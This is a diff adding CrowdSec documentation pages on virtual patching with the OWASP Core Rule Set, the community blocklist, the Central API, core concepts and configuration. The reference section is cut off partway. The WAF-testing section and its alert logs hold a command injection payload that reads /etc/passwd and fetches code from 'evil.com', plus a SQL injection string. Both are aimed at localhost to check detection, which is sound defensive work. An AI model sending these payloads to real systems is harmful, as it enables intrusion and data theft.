: + +``` +... +INFO[2023-12-05 12:17:52] (test) alert : crowdsecurity/vpatch-CVE-2023-42793 by ip 192.168.1.1 +... +``` + +And in `cscli alerts list` : + +``` +╭────┬────────────────┬─────────────────────────────────────┬─────────┬────┬───────────┬───────────────────────────────╮ +│ ID │ value │ reason │ country │ as │ decisions │ created_at │ +├────┼────────────────┼─────────────────────────────────────┼─────────┼────┼───────────┼───────────────────────────────┤ +│ 1 │ Ip:192.168.1.1 │ crowdsecurity/vpatch-CVE-2023-42793 │ │ │ │ 2023-12-05 11:17:51 +0000 UTC │ +╰────┴────────────────┴─────────────────────────────────────┴─────────┴────┴───────────┴───────────────────────────────╯ + +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/vpatch_crs.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/vpatch_crs.md new file mode 100644 index 000000000..e8bb9bc04 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/vpatch_crs.md @@ -0,0 +1,324 @@ +--- +id: vpatch_and_crs +title: Virtual Patching + OWASP CRS +sidebar_position: 5 +--- + +## Overview + +This guide shows how to deploy both CrowdSec's virtual patching rules and [OWASP Core Rule Set (CRS)](https://coreruleset.org/) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules. + +### OWASP Core Rule Set + +The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc. + +### CrowdSec Virtual Patching Rules + +CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance. + +## Objective + +OWASP CRS can be integrated in various fashion with CrowdSec's WAF: + - **Non Blocking** will not block requests that trigger CRS, however, repeating offenders will get banned. + - **Blocking** will block any and all requests that trigger CRS, and ban repeating offenders. + +:::info +This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine. +::: + + +## OWASP Core Rule Set - Non-Blocking + +### Install Required Collections + +Install both the virtual patching and CRS collections: + +```bash title="Install virtual patching rules (in-band blocking)" +cscli collections install crowdsecurity/appsec-virtual-patching +``` + +```bash title="Install OWASP CRS rules (out-of-band detection + scenario) +cscli collections install crowdsecurity/appsec-crs +``` + +### Configure AppSec + +Update your AppSec acquisition configuration: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default # Virtual patching rules (in-band) + - crowdsecurity/crs # OWASP CRS rules (out-of-band) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +### Restart CrowdSec + +```bash +sudo systemctl restart crowdsec +``` + +## How It Works + +### Two-Layer Protection + +**Layer 1 - Virtual Patching (In-band)**: +- Rules from `crowdsecurity/appsec-default` +- Evaluated synchronously before request proceeds +- Blocks known exploits immediately +- High-confidence, low false-positive rules + +**Layer 2 - OWASP CRS (Out-of-band)**: +- Full ModSecurity Core Rule Set from `crowdsecurity/crs` +- Evaluated asynchronously after request is processed +- Comprehensive attack detection and analysis +- No impact on request response time + +### CRS Out-of-Band Processing + +OWASP CRS rules are loaded as out-of-band rules, which means: + +1. **No Performance Impact**: CRS evaluation happens after the web server has already responded +2. **Comprehensive Detection**: Full rule set can detect complex attack patterns +3. **Event Generation**: Matches generate events for CrowdSec's scenario system +4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders + +### Scenario Integration + +The `crowdsecurity/appsec-crs` collection includes: +- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode +- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations + +## Verification + +### Check Installation + +Verify that both configurations are loaded: + +```bash title="Check AppSec configurations" +cscli appsec-configs list +``` +Should show: +- crowdsecurity/appsec-default +- crowdsecurity/crs + +```bash title="Check scenarios" +cscli scenarios list | grep appsec +``` +Should show: +- crowdsecurity/crowdsec-appsec-outofband + +### Check AppSec Status + +```bash title="Check that AppSec is running" +cscli metrics +``` +*Look for appsec metrics in the output* + +## Testing - CrowdSec Vpatch + +If CrowdSec vpatch rules are properly enabled, the following request should return a 403: + +```bash +TARGET=localhost +curl -I ${TARGET}'/.env' +``` + + +## Testing - OWASP CRS + +:::warning +Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS. +Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following: +::: + +```bash +TARGET=localhost +curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload' +curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload' +curl -I ${TARGET}'/?x=A"' +curl -I ${TARGET}'/?x=A"' +curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo' +curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo' +``` + +Uppon triggering those, you should see in CrowdSec logs: + +```bash +time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC" +time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx" +``` + +Further requests to the webserver should return 403: + +```bash +$ curl -I ${TARGET} +HTTP/1.1 403 Forbidden +``` + +## Alert Inspection + +You can inspect the alert to better see what URLs or payloads triggered the rules: + +```bash +# cscli alerts list +╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮ +│ ID │ value │ reason │ country │ as │ decisions │ created_at │ +├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤ +│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │ +... +``` + +```bash +# cscli alerts inspect -d 2172 + +################################################################################################ + + - ID : 2172 + - Date : 2025-08-22T09:39:51Z + - Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab + - Simulation : false + - Remediation : true + - Reason : crowdsecurity/crowdsec-appsec-outofband + - Events Count : 6 + - Scope:Value : Ip:xxx + - Country : + - AS : + - Begin : 2025-08-22T09:39:50Z + - End : 2025-08-22T09:39:50Z + - UUID : a0ad365a-ef08-4c18-af80-20cc02625c35 + +╭─────────────────────────────────────────────────────────────────────╮ +│ Active Decisions │ +├──────────┬─────────────┬────────┬────────────┬──────────────────────┤ +│ ID │ scope:value │ action │ expiration │ created_at │ +├──────────┼─────────────┼────────┼────────────┼──────────────────────┤ +│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │ +╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯ + + - Context : +╭────────────┬─────────────────────────────────────────────────────╮ +│ Key │ Value │ +├────────────┼─────────────────────────────────────────────────────┤ +│ rules │ native_rule:901340 │ +│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ +│ target_uri │ /?x=A" │ +│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ +╰────────────┴─────────────────────────────────────────────────────╯ + + - Events : + +- Date: 2025-08-22 09:39:50.326505724 +0000 UTC +╭─────────────────────┬──────────────────────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼──────────────────────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │ +│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │ +│ │ 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ +╰─────────────────────┴──────────────────────────────────────────────────────────────╯ + +- Date: 2025-08-22 09:39:50.33919196 +0000 UTC +╭─────────────────────┬──────────────────────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼──────────────────────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │ +│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │ +│ │ 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ +╰─────────────────────┴──────────────────────────────────────────────────────────────╯ + +- Date: 2025-08-22 09:39:50.352001523 +0000 UTC +╭─────────────────────┬───────────────────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼───────────────────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │ +│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A" │ +╰─────────────────────┴───────────────────────────────────────────────────────────╯ + +- Date: 2025-08-22 09:39:50.365872595 +0000 UTC +╭─────────────────────┬───────────────────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼───────────────────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │ +│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A" │ +╰─────────────────────┴───────────────────────────────────────────────────────────╯ + +- Date: 2025-08-22 09:39:50.378905387 +0000 UTC +╭─────────────────────┬───────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼───────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │ +│ rule_ids │ [901340 942100 942190 949110 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ +╰─────────────────────┴───────────────────────────────────────────────╯ + +- Date: 2025-08-22 09:39:50.392514386 +0000 UTC +╭─────────────────────┬───────────────────────────────────────────────╮ +│ Key │ Value │ +├─────────────────────┼───────────────────────────────────────────────┤ +│ datasource_path │ appsec │ +│ datasource_type │ appsec │ +│ log_type │ appsec-info │ +│ remediation_cmpt_ip │ 127.0.0.1 │ +│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │ +│ rule_ids │ [901340 942100 942190 949110 980170] │ +│ rule_name │ native_rule:901340 │ +│ service │ appsec │ +│ source_ip │ xxx │ +│ target_host │ localhost │ +│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ +╰─────────────────────┴───────────────────────────────────────────────╯ + +``` + +## Next Steps + +- Learn about [AppSec Configuration options](/appsec/configuration.md) +- Understand [AppSec Hooks](/appsec/hooks.md) for customization +- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/central_api/blocklist.md b/crowdsec-docs/versioned_docs/version-v1.7/central_api/blocklist.md new file mode 100644 index 000000000..112e829f0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/central_api/blocklist.md @@ -0,0 +1,67 @@ +--- +id: community_blocklist +title: Community Blocklist +sidebar_position: 3 +--- + +# Introduction + +The "Community Blocklist" is a curated list of IP addresses identified as malicious by CrowdSec. CrowdSec proactively block the IP addresses of this blocklist, preventing malevolent IPs from reaching your systems. + +# Community Blocklist Variation and Eligibility + +:::info +The Community Blocklist is **only** available when using the Security Engine. To gain access, follow the steps in the [Getting Started Guide](/u/getting_started/intro). +::: + +The rules are different for free and paying users: + - Free users that **do not regularly** contribute get the `Community Blocklist (Lite)` + - Free users that **do regularly** contribute get access to the `Community Blocklist` + - Paying users get access to the `Community Blocklist (Premium)`, even if they don't contribute + +Regardless of the blocklist "tier" you have access to (`Lite`, `Community`, `Premium`), each Security Engine gets a tailored blocklist based on the kind of behavior you're trying to detect. + +## Community Blocklist + +Free users that are actively contributing to the network (sending signal on a regular basis) have their Security Engines automatically subscribed to the *Community Blocklist*. + +The content of the blocklist is unique to each Security Engine, as it mirrors the behaviours they report. For example, suppose you're running the Security Engine on a web server with WordPress. In that case, you will receive IPs performing generic attacks against web servers *and* IPs engaging in wordpress-specific attacks. + +The *Community Blocklist* contains 15 thousand malicious IP's based on your reported scenarios. + +## Community Blocklist (Premium) + +Paying users' Security Engine are automatically subscribed to the *Community Blocklist (Premium)*, which contains IPs that mirror their installed scenarios. +Paying users' do not need to contribute to the network to be eligible to the blocklist. + +The *Community Blocklist (Premium)* blocklist content has no size limit, unlike free users. + +## Community Blocklist (Lite) + +Free users that are not actively contributing to the network or that have been flagged as cheating/abusing the system will receive the *Community Blocklist (Lite)*. + +This Blocklist is capped at 3 thousand IPs. + +### Why is my Security Engine on the Lite Blocklist? + +Your Security Engine may be placed on the Lite Blocklist for various reasons, such as: + +1. Low Visibility Services + +Your services are self-hosted (e.g., for private video or image hosting) and primarily accessed by a small group. As a result, your Security Engine detects less malicious activity compared to public-facing services like blogs or e-commerce sites. + +2. Comprehensive Security Setup + +Your existing security measures reduce reliance on the Community Blocklist. These may include: +- Geoblocking (restricting access to certain countries) +- IP whitelisting with a default deny-all policy +- VPN-only access +- OAuth authentication (e.g., Authentik, Authelia, Keycloak) + +This simply a result of your security model and access requirements, its neither an issue with your setup nor a limitation on our end. + +3. Incomplete CrowdSec Configuration + +Your Security Engine may not be monitoring all your services. + +If you suspect this might be the case, refer to our [post-installation guide](/u/getting_started/next_steps) to ensure full coverage. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/central_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/central_api/intro.md new file mode 100644 index 000000000..b7a4f22cf --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/central_api/intro.md @@ -0,0 +1,37 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +The [Central API](https://crowdsecurity.github.io/api_doc/capi/) is the service where the Local API pushes [signal meta-data](https://crowdsecurity.github.io/api_doc/capi/#/watchers/post_signals) and from where it receives the [community blocklists](https://crowdsecurity.github.io/api_doc/capi/#/bouncers/get_decisions_stream). + +## Data exchanged with the Central API + +### Signal meta-data + + +:::info +This information is *only* going to be pushed when a scenario is coming from the hub and is unmodified. Custom scenarios, tainted scenarios and manual decisions are *not* pushed unless enrolled into the console. +::: + +When the Security Engine generates an alert, [unless you opt-out of it](/u/troubleshooting/intro#how-to-disable-the-central-api), it will push "signal meta-data". The meta-data are : + - The name of the scenario that was triggered + - The hash & version of the scenario that was triggered + - The timestamp of the decision + - Your machine_id + - The offending IP address (along with its geoloc info when available) + + +### Scenario list + +The community blocklist matches the scenarios deployed on the Security Engine instance. For this reason, the Security Engine provides the list of enabled scenarios during [the login process](https://crowdsecurity.github.io/api_doc/capi/#/watchers/post_watchers_login). + +### Console metrics + +To give you more information in the [console](https://app.crowdsec.net) and for general health monitoring of the project, crowdsec reports the following data to the Central API : + - name and versions of the deployed Remediation Components + - name and versions of the Security Engines registered to the Local API + + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/concepts.md b/crowdsec-docs/versioned_docs/version-v1.7/concepts.md new file mode 100644 index 000000000..c2c26af10 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/concepts.md @@ -0,0 +1,64 @@ +--- +id: concepts +title: Concepts +sidebar_position: 1 +--- + + +# Global overview + +# Security Engine + +> The Security Engine is CrowdSec's IDS/IPS (Intrusion Detection System/Intrusion Prevention System) +> It is a rules and behavior detection engine comprised of Log Processor and the Local API. + +A Security Engine can operate [independently](/intro#architecture) or in a [distributed manner](/intro#deployment-options), adapting to the specific needs and constraints of your infrastructure. For more information on CrowdSec's distributed approach, visit our documentation on collaborative operations and distributed deployments. + + +# Log Processor (LP) + +> The Log Processor is the part of the Security Engine in charge of the detection of bad behaviors, based on your logs or your HTTP trafic. + +The Log Processor (abreviated as `LP`) detects bad behaviors via two main functions: + - [Acquire](/log_processor/data_sources/introduction.md) logs, [parse](/log_processor/parsers/introduction.mdx), [enrich](/log_processor/parsers/enricher.md) and match them against [Scenarios](/log_processor/scenarios/introduction.mdx). + - Receive [HTTP Requests](/log_processor/data_sources/appsec.md) and match them against the [Appsec Rules](/appsec/intro.md). + +Alerts resulting from Scenarios or Appsec Rules being triggered are sent to the `LAPI`. + +# Local API (LAPI) + +> The Local API is the part of the Security Engine acting as the middleman between the Log Processors, the Remediation Components and the Central API. + +The Local API (abreviated as `LAPI`) has several functions: + - Receive alerts from Log Processors and create Decisions based on configured [Profiles](/local_api/profiles/intro.md) + - Expose Decisions to [Remediation Components](/u/bouncers/intro) + - Interact with the Central API to send Alerts receive Blocklists + + +# Remediation Components (Bouncers) + +> The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions. + +Remediation Components rely on the Local API to receive decisions about malevolent IPs to be blocked *(or other supported types or remediations such as Captcha, supported by some of our Bouncers).* +*Note that they also support [CrowdSec's Blocklist as a Service](/u/integrations/intro).* + +Those Decisions can be based on behavioral detection made by the `LP` or from Blocklists. + +Remediations components leverage existing components of your infrastructure to block malevolent IPs where it matters most. You can find them on our [Remediation Components' HUB](https://app.crowdsec.net/hub/remediation-components) + +# Central API (CAPI) + +> The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network. + +The Central API (abreviated as `CAPI`) receives attack signals from all participating Security Engines and signal partners, then re-distribute them curated community decisions ([Community Blocklist](/central_api/community_blocklist/)). +It's also at the heart of CrowdSec centralized [Blocklist services](/u/blocklists/intro). + +# Console + +> The CrowdSec Console is a web-based interface providing reporting, alerting, management and QoL features to CrowdSec's products usages: from your park of Security Engines to the management of CTI related actions + +The [Console](https://app.crowdsec.net) allows you to: + - [Manage alerts](/u/console/alerts/intro) of your security stack + - [Manage decisions](/u/console/decisions/decisions_intro) in real-time + - View and use [blocklists and integrations](/u/blocklists/intro) + - Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/service_api/getting_started)) \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/crowdsec_configuration.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/crowdsec_configuration.md new file mode 100644 index 000000000..cc4eee4be --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/crowdsec_configuration.md @@ -0,0 +1,1213 @@ +--- +title: CrowdSec Configuration +id: crowdsec_configuration +--- + +# Crowdsec configuration + +CrowdSec has a main `yaml` configuration file, usually located in `/etc/crowdsec/config.yaml`. + +## Configuration example + +You can find the default configurations on our GitHub repository: + +[Linux default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config.yaml) + +[Windows default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config_win.yaml) + +## Common configuration directories & paths + +### `/etc/crowdsec/` + +All CrowdSec configuration are living in this directory. + +### `/etc/crowdsec/config.yaml` + +Main configuration file for Log Processor and Local API. + +### `/etc/crowdsec/acquis.d` and `/etc/crowdsec/acquis.yaml` + +Documents which log sources and datasources are processed by the Log Processor. + +`/etc/crowdsec/acquis.yaml` is the historical acquisition configuration file. +`/etc/crowdsec/acquis.d/*.yaml` is prefered when possible. + +### `/etc/crowdsec/bouncers/*.yaml` + +Individual configuration file for bouncers. + +### `/etc/crowdsec/collections/*.yaml` + +Collections currently installed on the Log Processor. + +### `/etc/crowdsec/console.yaml` + +Console specific flags: + - enable/disable decisions management from the console + - enable/disable sharing of manual decisions with the console + - enable/disable sharing of custom/tainted scenarios related decisions with the console + - enable/disable sharing of alert context data with the console. + +### `/etc/crowdsec/contexts/*.yaml` + +Enabled alert context for Local API and Log Processor. This is where you should add custom data to be sent in alert context. + +### `/etc/crowdsec/hub/` + +Local Hub Mirror. Not intended to be modified by the user. Do not put custom scenarios/parsers here. + +### `/etc/crowdsec/local_api_credentials.yaml` and `/etc/crowdsec/online_api_credentials.yaml` + +Credentials for Local API and Central API. + +### `/etc/crowdsec/parsers` + +Contains all parsers enabled on the Log Processor, including local parsers, organised in stages: + - `/etc/crowdsec/parsers/s00-raw/*.yaml` : parsers for based formats such as syslog. + - `/etc/crowdsec/parsers/s01-parse/*.yaml` : service specific parsers such as nginx or ssh. + - `/etc/crowdsec/parsers/s02-enrich/*.yaml` : enrichment parsers and whitelists. + + +### `/etc/crowdsec/scenarios` + +Contains all scenarios enabled on the Log Processor, including local scenarios. + +### `/etc/crowdsec/profiles.yaml` + +Contains profiles used by Local API to eventually turn alerts into decisions or dispatch them to notification plugins. + +### `/etc/crowdsec/notifications/*.yaml` + +Contains notification plugins configuration (slack, email, splunk, etc.) + +### `/etc/crowdsec/appsec-configs/*.yaml` + +Contains AppSec (WAF) configuration indicating which rules or loaded in `inband` and `outofband` files, as well as eventual `hooks` configuration. + +### `/etc/crowdsec/appsec-rules/*.yaml` + +Contains individual AppSec (WAF) rules loaded by `appsec-configs` files. + +## Environment variables + +It is possible to set configuration values based on environment variables. + +For example, if you don't want to store your database password in the configuration file, you can do this: + +```yaml +db_config: + type: mysql + user: database_user + password: ${DB_PASSWORD} + db_name: db_name + host: 192.168.0.2 + port: 3306 +``` + +And export the environment variable such as: + +```bash +export DB_PASSWORD="" +``` + +:::warning +**Note**: you need to be `root` or put the environment variable in `/etc/environment` +::: + + +If the variable is not defined, crowdsec >= 1.5.0 will leave the original +string. This is to allow for literal `$` characters, especially in passwords: +versions before 1.5.0 replaced a non-existent reference with an empty string +which corrupted the password and made it harder to find configuration mistakes. + + +## Overriding values + +If you change `config.yaml` and later upgrade crowdsec, the package system may +ask if you want to replace the configuration with the version from the new +package, or leave the file with your changes untouched. This is usually not a +problem because new directives have default values, but they won't appear in +your configuration file until you manually merge them in. On some OSes +(like freebsd) the package system just writes a `config.yaml.sample` with the +new values if there has been any change to `config.yaml`. + +It can also be easier, while automating deployments, to write local +configuration changes to a separate file instead of parsing and rewriting +`config.yaml`. + +For all these reasons, you can write your local settings in +`config.yaml.local`, which follows the same format and has the same options as +`config.yaml`. Values defined in `config.yaml.local` will take precedence. +Mappings are merged, sequences are replaced. You can use the environment +variable substitution, explained above, in both files. + +Example: + +```yaml title="/etc/crowdsec/config.yaml.local" +common: + log_level: debug +api: + server: + trusted_ips: + - 192.168.100.0/24 +``` + +:::info +**Note:** you cannot remove configuration keys from a `.local` file, only +change them (possibly with an empty or default value). So for example, removing +`db_config.db_path` is not possible, even if you don't use it. And you cannot +remove a whole mapping (like `api.server`). Sequences on the other hand, are +always replaced. +::: + +### Configuration files that support `.yaml.local`: + +- `config.yaml` +- `local_api_credentials.yaml` +- `simulation.yaml` +- `bouncers/crowdsec-firewall-bouncer.yaml` +- `bouncers/crowdsec-custom-bouncer.yaml` +- `bouncers/crowdsec-blocklist-mirror.yaml` + +In the case of `profiles.yaml`, the files are read as a whole (as if they were +attached) instead of merged. See [profiles - introduction](/local_api/profiles/intro.md). + + +## Configuration directives + +```yaml title="/etc/crowdsec/config.yaml" +common: + daemonize: "(true|false)" + pid_dir: "" + log_media: "(file|stdout)" + log_level: "(error|info|debug|trace)" + log_dir: "" + working_dir: "" + log_max_size: + log_max_age: + log_max_files: + compress_logs: (true|false) + log_format: "(text|json)" +config_paths: + config_dir: "" + data_dir: "" + simulation_path: "" + hub_dir: "" + index_path: "" + notification_dir: "" + plugin_dir: "" +crowdsec_service: + enable: ## enable or disable crowdsec agent + acquisition_path: "" + acquisition_dir: "" + console_context_path: + parser_routines: "" + buckets_routines: "" + output_routines: "" +plugin_config: + user: "" + group: "" +cscli: + output: "(human|json|raw)" + hub_branch: "" +db_config: + type: "" + db_path: "" #Socket file mysql or mariadb + user: "" # for mysql/pgsql + password: "" # for mysql/pgsql + db_name: "" # for mysql/pgsql + host: "" # for mysql/pgsql + port: "" # for mysql/pgsql + sslmode: "" # for pgsql + ssl_ca_cert: "" # for mysql/pgsql + ssl_client_cert: "" # for mysql/pgsql + ssl_client_key: "" # for mysql/pgsql + use_wal: "true|false" # for sqlite + max_open_conns: "" + flush: + max_items: "" + max_age: "" + metrics_max_age: "" + bouncers_autodelete: + cert: "" + api_key: "" + agents_autodelete: + cert: "" + login_password: "" +api: + cti: + key: "" + cache_timeout: "60m" + cache_size: 50 + enabled: "(true|false)" + log_level: "(info|debug|trace)" + client: + insecure_skip_verify: "(true|false)" + credentials_path: "" + unregister_on_exit: "(true|false)" + server: + enable: # enable or disable local API + log_level: "(error|info|debug|trace>")" + listen_uri: "" # host:port + profiles_path: "" + use_forwarded_for_headers: "" + console_path: + online_client: + sharing: "(true|false)" + pull: + community: "(true|false)" + blocklists: "(true|false)" + credentials_path: "" + disable_remote_lapi_registration: (true|false) + capi_whitelists_path: "" + tls: + cert_file: "" + key_file: "" + client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" + ca_cert_path: "" + agents_allowed_ou: # List of allowed Organisational Unit for the agents + - agents_ou + bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers + - bouncers_ou + crl_path: "" + cache_expiration: "" + trusted_ips: # IPs or IP ranges which should have admin API access + #- 127.0.0.1 + #- ::1 + #- 10.0.0.0/24 + auto_registration: + enabled: + token: + allowed_ranges: + - 10.0.0.0/24 +prometheus: + enabled: "(true|false)" + level: "(full|aggregated)" + listen_addr: "" + listen_port: "" +``` + +### `common` + +```yaml +common: + daemonize: "(true|false)" + pid_dir: "" + log_media: "(file|stdout)" + log_level: "(error|info|debug|trace)" + log_dir: "" + working_dir: "" + log_max_size: + log_max_age: + log_max_files: + compress_logs: (true|false) + log_format: "(text|json)" +``` + +#### `daemonize` +> bool + +Daemonize or not the crowdsec daemon. + +#### `pid_dir` +> string + +Folder to store PID file. + +#### `log_media` +> string + +Log media. Can be `stdout` or `file`. + +#### `log_level` +> string + +Log level. Can be `error`, `info`, `debug`, `trace`. + +#### `log_folder` +> string + +Folder to write log file. + +:::warning +Works only with `log_media = file`. +::: + +#### `working_dir` +> string + +Current working directory. + +#### `log_max_size` +> int + +Maximum size in megabytes of the log file before it gets rotated. Defaults to 500 megabytes. + +#### `log_max_age` +> int + +Maximum number of days to retain old log files based on the timestamp encoded in their filename. Note that a day is defined as 24 hours and may not exactly correspond to calendar days due to daylight savings, leap seconds, etc. The default is to remove old log files after 28 days. + +#### `log_max_files` +> int + +Maximum number of old log files to retain. The default is to retain 3 old log files (though MaxAge may still cause them to get deleted.) + +#### `compress_logs` +> bool + +Whether to compress the log file after rotation or not. + +#### `log_format` +> string + +Format of crowdsec log. Can be `text` (default) or `json` + +### `config_paths` + +This section contains most paths to various sub configuration items. + + +```yaml +config_paths: + config_dir: "" + data_dir: "" + simulation_path: "" + hub_dir: "" + index_path: "" + notification_dir: "" + plugin_dir: "" + pattern_dir: "" +``` + +#### `config_dir` +> string + +Main configuration directory of crowdsec. + +#### `data_dir` +> string + +This is where crowdsec is going to store data, such as files downloaded by scenarios, geolocalisation database, metabase configuration database, or even SQLite database. + +#### `simulation_path` +> string + +Path to the simulation configuration. + +#### `hub_dir` +> string + +Directory where `cscli` will store parsers, scenarios, collections and such. + +#### `index_path` +> string + +Path to the `.index.json` file downloaded by `cscli` to know the list of available configurations. + +#### `plugin_dir` +> string +Path to directory where the plugin binaries/scripts are located. + +**Note:** binaries must be root-owned and non-world writable, and binaries/scripts must be named like `-` eg "notification-slack" + +#### `notification_dir` +> string +Path to directory where configuration files for `notification` plugins are kept. + +Each notification plugin is expected to have its own configuration file. + +#### `pattern_dir` +> string + +Path to directory where pattern files are located. Can be omitted from configuration and CrowdSec will use the `config_dir` + `patterns/` as default. + + +### `crowdsec_service` + +This section is only used by crowdsec agent. + + +```yaml +crowdsec_service: + enable: + acquisition_path: "" + acquisition_dir: "" + console_context_path: + parser_routines: "" + buckets_routines: "" + output_routines: "" +``` + +#### `enable` +> bool + +Enable or disable the CrowdSec Agent (`true` by default). + +#### `parser_routines` +> int + +Number of dedicated goroutines for parsing files. + +#### `buckets_routines` +> int + +Number of dedicated goroutines for managing live buckets. + +#### `output_routines` +> int + +Number of dedicated goroutines for pushing data to local api. + +#### `console_context_path` +> string + +Path to the yaml file containing the context to send to the local API. + +#### `acquisition_path` +> string + +Path to the yaml file containing logs that needs to be read. + +#### `acquisition_dir` +> string + +(>1.0.7) Path to a directory where each yaml is considered as a acquisition configuration file containing logs that needs to be read. +If both `acquisition_dir` and `acquisition_path` are specified, the entries are merged alltogether. + + +### `cscli` + +This section is only used by `cscli`. + +```yaml +cscli: + output: "(human|json|raw)" + hub_branch: "" + prometheus_uri: "" +``` + +#### `output` +> string + +The default output format (human, 